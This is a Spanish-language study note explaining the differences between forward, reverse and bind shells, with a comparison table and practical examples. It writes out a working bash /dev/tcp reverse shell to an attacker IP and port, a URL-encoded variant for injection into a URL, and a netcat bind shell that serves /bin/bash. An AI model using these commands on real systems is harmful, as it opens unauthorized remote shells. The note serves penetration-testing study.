Red Vault

Diferencias - Foward Shell Y Reverse Shell

3 min read

¡Claro! Vamos a mejorar el apunte de diferencias entre Forward Shell, Reverse Shell y Bind Shell, agregando una explicación clara de cada concepto y comparándolos de manera sencilla.

Conceptos Básicos

  1. Forward Shell (Shell Directa):

    • Es una conexión directa desde el atacante hacia la máquina víctima.
    • El atacante inicia la conexión (por ejemplo, usando SSH).
    • Es útil cuando el atacante tiene acceso directo a la máquina víctima.

  2. Reverse Shell (Shell Inversa):

    • Es una conexión desde la máquina víctima hacia el atacante.
    • La víctima inicia la conexión hacia el atacante, quien está escuchando en un puerto específico.
    • Es útil cuando la víctima está detrás de un firewall o NAT, lo que dificulta que el atacante se conecte directamente.

  3. Bind Shell (Shell de Enlace):

    • La máquina víctima abre un puerto en su sistema y espera conexiones entrantes.
    • El atacante se conecta a ese puerto para obtener una shell.
    • Es útil cuando el atacante puede conectarse directamente a la máquina víctima, pero no tiene credenciales para autenticarse (por ejemplo, a través de SSH).

Comparación entre Forward Shell, Reverse Shell y Bind Shell

CaracterísticaForward ShellReverse ShellBind Shell
Dirección de ConexiónEl atacante se conecta a la víctima.La víctima se conecta al atacante.La víctima abre un puerto y el atacante se conecta a él.
Iniciador de ConexiónAtacante.Víctima.Atacante.
Uso ComúnCuando el atacante tiene acceso directo a la víctima (por ejemplo, a través de SSH).Cuando la víctima está detrás de un firewall o NAT y el atacante no puede conectarse directamente.Cuando el atacante puede conectarse directamente a la víctima pero no tiene credenciales para autenticarse.
Facilidad de UsoMás sencillo de configurar y usar.Requiere que el atacante esté escuchando en un puerto específico.Requiere que la víctima abra un puerto y el atacante se conecte a él.
DetecciónMás fácil de detectar, ya que el atacante inicia la conexión.Menos detectable, ya que la conexión la inicia la víctima.Detectable, ya que la víctima abre un puerto que puede ser escaneado.
Ejemplo de Comandossh usuario@[ip_victima]bash -c "bash -i >& /dev/tcp/[ip_atacante]/[puerto] 0>&1"nc -lvp [puerto] -e /bin/bash (en la víctima).

Ejemplo Práctico de Forward Shell

Supongamos que el atacante tiene acceso a la máquina víctima a través de SSH. El comando para obtener una shell sería:

ssh usuario@192.168.1.50

Una vez conectado, el atacante tendría una shell directa en la máquina víctima.

Ejemplo Práctico de Reverse Shell

Supongamos que la dirección IP de la máquina atacante es 192.168.1.100 y el puerto en el que está escuchando es 4444. El comando completo sería:

bash -c "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"

Y si lo estás inyectando en una URL, quedaría así:

bash -c "bash -i >%26 /dev/tcp/192.168.1.100/4444 0>%261"

Ejemplo Práctico de Bind Shell

Supongamos que la máquina víctima abre el puerto 5555 y espera conexiones entrantes. El comando en la víctima sería:

nc -lvp 5555 -e /bin/bash

Luego, el atacante se conecta a ese puerto desde su máquina:

nc 192.168.1.50 5555

Una vez conectado, el atacante tendría una shell en la máquina víctima.

Resumen

  • Forward Shell: El atacante se conecta directamente a la víctima. Es más sencillo de configurar pero más fácil de detectar.
  • Reverse Shell: La víctima se conecta al atacante. Es útil cuando la víctima está detrás de un firewall o NAT y es menos detectable.
  • Bind Shell: La víctima abre un puerto y espera conexiones entrantes. El atacante se conecta a ese puerto para obtener una shell. Es útil cuando el atacante puede conectarse directamente pero no tiene credenciales para autenticarse.

Reverse Shell Foward Shell Bind Shell

Graph View